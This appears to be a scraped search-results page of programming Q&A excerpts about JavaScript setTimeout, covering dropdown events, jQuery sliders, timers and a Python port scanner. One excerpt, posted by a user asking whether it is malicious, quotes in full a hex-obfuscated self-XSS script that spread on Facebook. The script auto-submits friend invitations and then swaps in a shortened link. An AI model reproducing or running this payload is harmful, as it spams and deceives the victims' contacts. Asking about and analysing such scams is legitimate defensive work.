Search Results

Search found 541 results on 22 pages for 'settimeout'.

Page 5/22 | < Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >

  • Preserve onchange for a dropdown list when setting the value with Javascript.

    - by Zac Altman
    I have a dropdown list with a piece of code that is run when the value is changed: <select name="SList" onchange="javascript:setTimeout('__doPostBack(\'SList\',\'\')', 0)" id="SList"> Everything works fine when manually done. As an option is selected, the onchange code is called. The problem begins when I try to change the selected value using a piece of Javscript. I want to be able to automatically change the selected option using JS, whilst still having the onchange code called, exactly as if done manually. I try calling this: form.SList.value = "33"; The right option is selected, but the onchange code does not get called. So then I try doing this: form.SList.value = "33"; javascript:setTimeout('__doPostBack(\'SList\',\'\')', 0); The right value is not selected and nothing happens. FYI, the code is done in ASP.NET and Javascript. What can I run to change the selected option whilst still calling the onchange code?

    Read the article

  • Animate jquery ui slider handle to specific value

    - by user1159555
    I'm trying to animate a jquery UI handle to a specifiv value. My code is this so far. $("#slider1").slider({ max:350, min:100, animate: 'slow', step:10, animate: "true", value: 0, change: function() { // This setTimeout will allow the slider to animated correctly. setTimeout("$('#slider1').slider('value', 200);", 350); } slide: function(event, ui) { $("#amount").val(ui.value); $(this).find('.ui-slider-handle').html('<div class="sliderControl-label v-labelCurrent">'+ui.value+'</div>'); update(); } }); $('#slider').slider('value', 200); How do I make it so that 1) The handle will go to the specific value on page load and 2) The handle can be freely moved after the page has loaded and the animation has finished. Cheers, Jonah

    Read the article

  • Javascript in the adress bar. is this malicious?

    - by David
    I got a message on facebook telling me to coppy paist this into my adress bar. I thought i'd post it here and see what everyone thinks about it. What does it do? how does it work? Here's the source code: // (DO NOT DO THIS!) Javascript:var a=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x32\x36\x38\x32\x36\x39\x35\x34\x31\x38\x35\x32\x33\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"]; void (document[a[2]](a[1])[a[0]]=a[3]);var ss=document[a[2]](a[4]); var c=document[a[6]](a[5]); c[a[8]](a[7],true,true); void (ss[a[9]](c)); void (setTimeout(function (){fs[a[10]]();} ,4000)); void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000)); void (setTimeout(function (){ document[a[2]](a[1])[a[0]]="\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x54\x6C\x30\x76\x6A\x27\x3E\x43\x6F\x6D\x70\x6C\x65\x74\x65\x64\x21\x20\x43\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x3C\x2F\x61\x3E"; } ,5400));

    Read the article

  • Dealing with multiple Javascript IF statements.

    - by Joey
    Is it possible to put multiple IF statements in Javascript? If so, I'm having a fair amount of trouble with the statement below. I was wondering if you can put another IF statement in between if (data == 'valid') AND else? I want to add another if data =='concept') between the two. if (data == 'valid') { $("#file").slideUp(function () { $("#file").before('<div class="approvedMessage">WIN WIN WIN!</div>'); setTimeout(ApprovedProof, 5000); }); function ApprovedProof() { $("#file").slideDown(); $('.approvedMessage').fadeOut(); } } else { $("#file").slideUp(function () { $("#file").before('<div class="deniedMessage">NO NO NO!</div>'); setTimeout(DeniedProof, 5000); }); function DeniedProof() { $("#file").slideDown(); $('.deniedMessage').fadeOut(); } }

    Read the article

  • javascript too much recursion?

    - by Ken
    Hi, I'm trying to make a script that automatically starts uploading after the data has been enter in the database(I need the autoId that the database makes to upload the file). When I run the javascript the scripts runs the php file but it fails calling the other php to upload the file. too much recursion setTimeout(testIfToegevoegd(),500); the script that gives the error send("/projects/backend/nieuwDeeltaak.php",'deeltaakNaam='+f.deeltaaknaam.value+'&beschrijving='+ f.beschrijving.value+'&startDatum='+f.startDatum.value+'&eindDatum='+f.eindDatum.value +'&deeltaakLeider='+f.leiderID.value+'&projectID='+f.projectID.value,id); function testIfToegevoegd(){ if(document.getElementById('resultaat').innerHTML == "<b>De deeltaak werd toegevoegd</b>"){ //stop met testen + upload file document.getElementById('nieuwDeeltaak').target = 'upload_target'; document.forms["nieuwDeeltaak"].submit() }else{ setTimeout(testIfToegevoegd(),500); } } testIfToegevoegd(); sorry for the dutch names we have to use them it is a school project. when I click the button that calls all this for a second time (after the error) it works fine.

    Read the article

  • my javascript code is working in internet explorer but not working in mozilla

    - by goutham
    function buildMenu() { speed=35; topdistance=100; items=6; y=-50; ob=1; if (navigator.appName == "Netscape") { v=".top=",dS="document.",sD=""; } else { v=".pixelTop=",dS="",sD=".style"; } } function scrollItems() { if (ob<items+1) { objectX="object"+ob; y+=10; eval(dS + objectX + sD + v + y); if (y<topdistance) setTimeout("scrollItems()",speed); else y=-50, topdistance+=40, ob+=1, setTimeout("scrollItems()",speed); } }

    Read the article

  • How can I make my counter look less fake?

    - by Eddy Pronk
    I'm using this bit of code to display the number of users on a site. My customer is complaining it looks fake. Any suggestions? var visitors = 187584; var updateVisitors = function() { visitors++; var vs = visitors.toString(), i = Math.floor(vs.length / 3), l = vs.length % 3; while (i-->0) if (!(l==0&&i==0)) vs = vs.slice(0,i*3+l) + ',' + vs.slice(i*3+l); $('#count').text(vs); setTimeout(updateVisitors, Math.random()*2000); }; setTimeout(updateVisitors, Math.random()*2000);

    Read the article

  • jQuery - UI Dialog - looking for a smart solution for a timed close

    - by AnApprentice
    Hello, I wrote the following: // Called with setTimeout(magicDialogDelayedClose, 2500); function magicDialogDelayedClose() { $(".ui-dialog").fadeOut(function() { dialog_general.dialog('close'); }); } The above is called with setTimeout when I show a notice dialog that I want to auto close in 2.5 secs. The problem I'm noticing with this is that if the use Manually closes a dialog this timer still is running. If the user then opens a new dialog (which is very possible) the timer can then close that NEW dialog. What's a smart way to handle this?j

    Read the article

  • HTTP request stream not readable outside of request handler

    - by Jason Young
    I'm writing a fairly complicated multi-node proxy, and at one point I need to handle an HTTP request, but read from that request outside of the "http.Server" callback (I need to read from the request data and line it up with a different response at a different time). The problem is, the stream is no longer readable. Below is some simple code to reproduce the issue. Is this normal, or a bug? function startServer() { http.Server(function (req, res) { req.pause(); checkRequestReadable(req); setTimeout(function() { checkRequestReadable(req); }, 1000); setTimeout(function() { res.end(); }, 1100); }).listen(1337); console.log('Server running on port 1337'); } function checkRequestReadable(req) { //The request is not readable here! console.log('Request writable? ' + req.readable); } startServer();

    Read the article

  • color letters in a div

    - by Growler
    I've created a palindrome checker. I want to take it one step further and show the letters being compared as it is being checked. HTML: <p id="typing"></p> <input type="text" id="textBox" onkeyup="pal(this.value);" value="" /> <div id="response"></div> <hr> <div id="palindromeRun"></div> JS: To do this, I run the recursive check... Then if it is a palindrome, I run colorLetters(), which I'm trying to highlight in green each letter as it is being checked. Right now it is just rewriting palindromeRun's HTML with the first letter. I know this is because of the way I'm resetting its HTML. I don't know how to just grab the first and last letter, change only those letters' css, then increment i and j on the next setTimeout loop. var timeout2 = null; function pal (input) { var str = input.replace(/\s/g, ''); var str2 = str.replace(/\W/, ''); if (checkPal(str2, 0, str2.length-1)) { $("#textBox").css({"color" : "green"}); $("#response").html(input + " is a palindrome"); $("#palindromeRun").html(input); colorLetters(str2, 0, str2.length-1); } else { $("#textBox").css({"color" : "red"}); $("#response").html(input + " is not a palindrome"); } if (input.length <= 0) { $("#response").html(""); $("#textBox").css({"color" : "black"}); } } function checkPal (input, i, j) { if (input.length <= 1) { return false; } if (i === j || ((j-i) == 1 && input.charAt(i) === input.charAt(j))) { return true; } else { if (input.charAt(i).toLowerCase() === input.charAt(j).toLowerCase()) { return checkPal(input, ++i, --j); } else { return false; } } } function colorLetters(myinput, i, j) { if (timeout2 == null) { timeout2 = setTimeout(function () { console.log("called"); var firstLetter = $("#palindromeRun").html(myinput.charAt(i)) var secondLetter = $("#palindromeRun").html(myinput.charAt(j)) $(firstLetter).css({"color" : "red"}); $(secondLetter).css({"color" : "green"}); i++; j++; timeout2=null; }, 1000); } } Secondary: If possible, I'd just like to have it colors the letters as the user is typing... I realize this will require a setTimeout on each keyup, but also am not sure how to write this.

    Read the article

  • javascript error: variable is not defined

    - by Hristo
    to is not defined [Break on this error] setTimeout('updateChat(from, to)', 1); I'm getting this error... I'm using Firebug to test and this comes up in the Console. The error corresponds to line 71 of chat.js and the whole function that wraps this line is: function updateChat(from, to) { $.ajax({ type: "POST", url: "process.php", data: { 'function': 'getFromDB', 'from': from, 'to': to }, dataType: "json", cache: false, success: function(data) { if (data.text != null) { for (var i = 0; i < data.text.length; i++) { $('#chat-box').append($("<p>"+ data.text[i] +"</p>")); } document.getElementById('chat-box').scrollTop = document.getElementById('chat-box').scrollHeight; } instanse = false; state = data.state; setTimeout('updateChat(from, to)', 1); // gives error }, }); } This links to process.php with function call getFromDB and the code for that is: case ('getFromDB'): // get the sender and receiver user IDs from their user names $from = mysql_real_escape_string($_POST['from']); $query = "SELECT `user_id` FROM `Users` WHERE `user_name` = '$from' LIMIT 1"; $result = mysql_query($query) or die(mysql_error()); $row = mysql_fetch_assoc($result); $fromID = $row['user_id']; $to = mysql_real_escape_string($_POST['to']); $query = "SELECT `user_id` FROM `Users` WHERE `user_name` = '$to' LIMIT 1"; $result = mysql_query($query) or die(mysql_error()); $row = mysql_fetch_assoc($result); $toID = $row['user_id']; $query = "SELECT * FROM `Messages` WHERE `from_id` = '$fromID' AND `to_id` = '$toID' LIMIT 1"; $result = mysql_query($query); while($row = mysql_fetch_assoc($result)) { $text[] = $line = $row['message']; $log['text'] = $text; } break; So I'm confused with the line that is giving the error. setTimeout('updateChat(from,to)',1); aren't the parameters to updateChat the same parameters that came into the function? Or are they being pulled in from somewhere else and I have to define to and from else where? Any ideas how to fix this error? Thanks, Hristo

    Read the article

  • Using JQuery replaceWith with a JavaScript Variable

    - by JJ56
    Here's my html: <div class="timer">Not Started</div> And JS/JQ: var seconds = 10; var minutes = 0; setTimeout("updateTimer()", 1000); function updateTimer() { if (seconds == 0 && minutes != 0) { minutes -= minutes; seconds = 59; alert (seconds); } else if (seconds == 1 && minutes == 0) { alert ('done'); } else { seconds = seconds - 1; //alert (seconds); $(".timer").replaceWith(seconds); } setTimeout("updateTimer()", 1000); } Instead of replacing Not Started with 10, 9, 8..., Not Started disappears.

    Read the article

  • Issue with blocking the UI during a onchange request - prevents other event from firing.

    - by jfrobishow
    I am having issues with jQuery blockUI plugins and firing two events that are (I think, unless I am loosing it) unrelated. Basically I have textboxes with onchange events bound to them. The event is responsible for blocking the UI, doing the ajax call and on success unblocking the UI. The ajax is saving the text in memory. The other control is a button with on onclick event which also block the UI, fire an ajax request saving what's in memory to the database and on success unblock the UI. Both of these work fine separately. The issue arise when I trigger the onchange by clicking on the button. Then only the onchange is fired and the onclick is ignored. I can change the text in the checkbox, click on the link and IF jQuery.blockUI() is present the onchange alone is fired and the save is never called. If I remove the blockUI both function are called. Here's a fully working example where you can see the issue. Please note the setTimeout are there when I was trying to simulate the ajax delay but the issue is happening without it. <html> <head> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script src="http://github.com/malsup/blockui/raw/master/jquery.blockUI.js?v2.31"></script> <script> function doSomething(){ $.blockUI(); alert("doing something"); //setTimeout(function(){ $.unblockUI(); //},500); } function save(){ $.blockUI(); //setTimeout(function(){ alert("saving"); $.unblockUI(); //}, 1000); } </script> </head> <body> <input type="text" onchange="doSomething();"> <a href="#" onclick="save()">save</a> </body> </html>

    Read the article

  • Return a function from the anonymous wrapper?

    - by sabithpocker
    I am trying to undrstand the code for(var i = 0; i < 10; i++) { setTimeout((function(e) { return function() { console.log(e); } })(i), 1000) } from here http://bonsaiden.github.com/JavaScript-Garden/#function.closures I understood this method : for(var i = 0; i < 10; i++) { (function(e) { setTimeout(function() { console.log(e); }, 1000); })(i); } Can anyone please help me by explaining the first one?

    Read the article

  • script only works in IE

    - by Alex
    I have the following JavaScript for show running line: <script type="text/javascript" language="javascript"> //Change script's width (in pixels) var marqueewidth=800 //Change script's height (in pixels, pertains only to NS) var marqueeheight=20 //Change script's scroll speed (larger is faster) var speed=3 //Change script's contents var marqueecontents='You text here' if (document.all) document.write('<marquee scrollAmount='+speed+' style="width:'+marqueewidth+'">'+marqueecontents+'</marquee>') function regenerate(){ window.location.reload() } function regenerate2(){ if (document.layers){ setTimeout("window.onresize=regenerate",450) intializemarquee() } } function intializemarquee(){ document.cmarquee01.document.cmarquee02.document.write('<nobr>'+marqueecontents+'</nobr>') document.cmarquee01.document.cmarquee02.document.close() thelength=document.cmarquee01.document.cmarquee02.document.width scrollit() } function scrollit(){ if (document.cmarquee01.document.cmarquee02.left>=thelength*(-1)){ document.cmarquee01.document.cmarquee02.left-=speed setTimeout("scrollit()",100) } else{ document.cmarquee01.document.cmarquee02.left=marqueewidth scrollit() } } window.onload=regenerate2 </script> What should I change in script to make it work in FF and Chrome? Thanks

    Read the article

  • Python HTTPSConnection.close() does not appear to close the connection?

    - by Dave
    I'm not sure if this is a bug or if I'm just doing something wrong. If I were to do an HTTP connection like this: import httplib http_connection = httplib.HTTPConnection("192.168.192.196") http_connection.request("GET", "/") http_connection.sock.settimeout(20) response = http_connection.getresponse() data = response.read() http_connection.close() Then at a DOS prompt, I do this: netstat -ano | find /i "192.168.192.196:80" | find /i "ESTABLISHED" I get nothing. However, if I do the same thing, but change it to an HTTPSConnection: import httplib http_connection = httplib.HTTPSConnection("192.168.192.196") http_connection.request("GET", "/") http_connection.sock.settimeout(20) response = http_connection.getresponse() data = response.read() http_connection.close() Then do this: netstat -ano | find /i "192.168.192.196:443" | find /i "ESTABLISHED" I will actually see that the connection remains established until I actually ^Z out of the Python shell. This is happening in one of the applications I'm responsible for. Python isn't actually hanging there - it's simply leaving the connection open. Am I doing something wrong here? Do I need extra code to close the HTTPS connection? This is Python 2.6.4, btw.

    Read the article

  • How to determine the best "framerate" (setInterval delay) to use in a JavaScript animation loop?

    - by Ricket
    When writing a JavaScript animation, you of course make a loop using setInterval (or repeated setTimeout). But what is the best delay to use in the setInterval/setTimeout call(s)? In the jQuery API page for the .animate() function, the user "fbogner" says: Just if anyone is interested: Animations are "rendered" using a setInterval with a time out of 13ms. This is quite fast! Chrome's fastest possible interval is about 10ms. All other browsers "sample" at about 20-30ms. Any idea how jQuery determined to use this specific number?

    Read the article

  • jquery dialog opening and closing don't work

    - by Sadegh
    hi, i want to show dialog after n seconds and hide it after m seconds but it don't work for me! $(document).ready(function () { var advanced = $("div#advanced"); $(advanced).dialog({ autoOpen: false, modal: true, buttons: { "Try it now": function () { window.location = 'myURL'; }, "No thank's": function () { $(this).dialog("close"); } }, show: 'fade', width: 350, height: 130, draggable: false, resizable: false }); window.setTimeout(function () { $(advanced).dialog("open"); }, n); window.setTimeout(function () { $(advanced).dialog("close"); }, m);});

    Read the article

  • How to recall a function with Jquery in this example?

    - by Immigrant
    How to recall a function and have the dialog box keep coming back when click 'cancel' button with Jquery in this example? I am sure it is easy but still learning some of the basics here. Thanks function definitelyClose() { window.location = 'http://www.google.com' }; var autoCloseTimer; var timeoutObject; var timePeriod = 5000; var warnPeriod = 10000; $(document).ready(function() { $('#proba').dialog({ autoOpen: false }); setTimeout(function() { $('#proba').attr('title', 'Warning').text('Sesion will expire').dialog('open'); $('#proba').dialog({ buttons: { 'Cancel': function() { $(this).dialog('close'); clearTimeout(autoCloseTimer); } } }); autoCloseTimer = setTimeout('definitelyClose()', warnPeriod); }, timePeriod); });

    Read the article

  • window.onload DOM loading in popup, browser compatibility

    - by user1477508
    I have HTML popup window and i want add text after opening window with spec. function: var win = window.open('private.php', data.sender_id , 'width=300,height=400'); win.window.onload = function() { //function for add text //chrome and firefox fire, IE and Opera not }; This work perfectly with Chrome and Firefox, but Opera and IE9 won't working. Please tell me best way to do that with IE and Opera. I try with: $(document).ready(function(){ //function for add text }); but same thing. I found solution, but i wont know is there better solution then setTimeout??? Instead onload event i use: setTimeout(function(){ //add text },200);

    Read the article

  • IE8 is still caching my requests even with mathrandom.

    - by Ozaki
    TLDR IE is still caching my requests even with Math.random() included in the URL. So I added math random onto the end of my url: var MYKMLURL = 'http://' + host + 'data/pattern?key='+ Math.random(); I also added math random onto my function param: window.setTimeout(RefreshPatternData, 1000, MYKMLLAYER); function RefreshPatternData(layer) { layer.loaded = false; layer.setVisibility(true); layer.refresh({ force: true, params: { 'key': Math.random()} }); setTimeout(RefreshPatternData, 30000, MYKMLLAYER); } So the request appears as http://host/data/pattern?key=35678652545 etc. It changes everytime the request is made. It works in Firefox & Chrome & Safari etc. But IE8 is still caching the data and not updating my layer. Any ideas as to why this might be occuring?

    Read the article

  • Show AJAX content after images have loaded

    - by Ben4Himv
    I am developing my own lightbox kind of jquery plugin. Everything works but I want to hide the loaded content until the images have loaded in the browser from the AJAX call. I found a similar post and I am using the following script but the setTimeout function is what reveals the content and not the .load function. Am I trying to achieve the impossible? $.ajax({ url: 'meet/'+ pLoad + '.html', success: function(data) { var imageCount = $(data).filter('img').length; var imagesLoaded = 0; $(data).hide() .appendTo('#zoom_inner') .filter('img') .load( function() { ++imagesLoaded; if (imagesLoaded >= imageCount) { $('#zoom_inner').children().show(); } }); setTimeout( function() { $('#zoom_inner').children().show() }, 5000 ); } });

    Read the article

  • javascript var declaration within loop

    - by Trouts
    hello, /*Test scope problem*/ for(var i=1; i<3; i++){ //declare variables var no = i; //verify no alert('setting '+no); //timeout to recheck setTimeout(function(){ alert('test '+no); }, 500); } it alerts "setting 1" and "setting 2" as expected, but after the timeout it outputs "test 2" twice - for some reason the variable "no" is not reset after the first loop... i've found only an "ugly" workaround... /*Test scope problem*/ var func=function(no){ //verify no alert('setting '+no); //timeout to recheck setTimeout(function(){ alert('test '+no); }, 500); } for(var i=1; i<3; i++){ func(i); } Any ideas on how to workaround this problem in a more direct way? or is this the only way?

    Read the article

  • Remove alert from a javascript

    - by albastar
    I've the below code from a tutorial,i want the action but i just want to remove the alert, here is the code: <script type="text/javascript"> setTimeout('read()', 10000); function read() { FB.api('/me/news.reads' + '?article=<?php echo $fbrdurl ?>&access_token=<?php echo $access_token ?>','post', function(response) { var msg = 'Error occured'; if (!response || response.error) { if (response.error) { msg += "\n\nType: "+response.error.type+"\n\nMessage: "+response.error.message; } alert(msg); } else { alert('Post was successful! Action ID: ' + response.id); } }); } </script> I've tried this: <script type="text/javascript"> setTimeout('read()', 10000); function read() { FB.api('/me/news.reads' + '?article=<?php echo $fbrdurl ?>&access_token=<?php echo $access_token ?>','post'; } </script> but not worked, thanks

    Read the article

  • TCP Scanner Python MultiThreaded

    - by user1473508
    I'm trying to build a small tcp scanner for a netmask. The code is as follow: import socket,sys,re,struct from socket import * host = sys.argv[1] def RunScanner(host): s = socket(AF_INET, SOCK_STREAM) s.connect((host,80)) s.settimeout(0.1) String = "GET / HTTP/1.0" s.send(String) data = s.recv(1024) if data: print "host: %s have port 80 open"%(host) Slash = re.search("/", str(host)) if Slash : netR,_,Wholemask = host.partition('/') Wholemask = int(Wholemask) netR = struct.unpack("!L",inet_aton(netR))[0] for host in (inet_ntoa(struct.pack("!L", netR+n)) for n in range(0, 1<<32-Wholemask)): try: print "Doing host",host RunScanner(host) except: pass else: RunScanner(host) To launch : python script.py 10.50.23.0/24 The problem I'm having is that even with a ridiculous low settimeout value set, it takes ages to cover the 255 ip addresses since most of them are not assigned to a machine. How can i make a way faster scanner that wont get stuck if the port is close.MultiThreading ? Thanks !

    Read the article

< Previous Page | 1 2 3 4 5 6 7 8 9 10 11 12  | Next Page >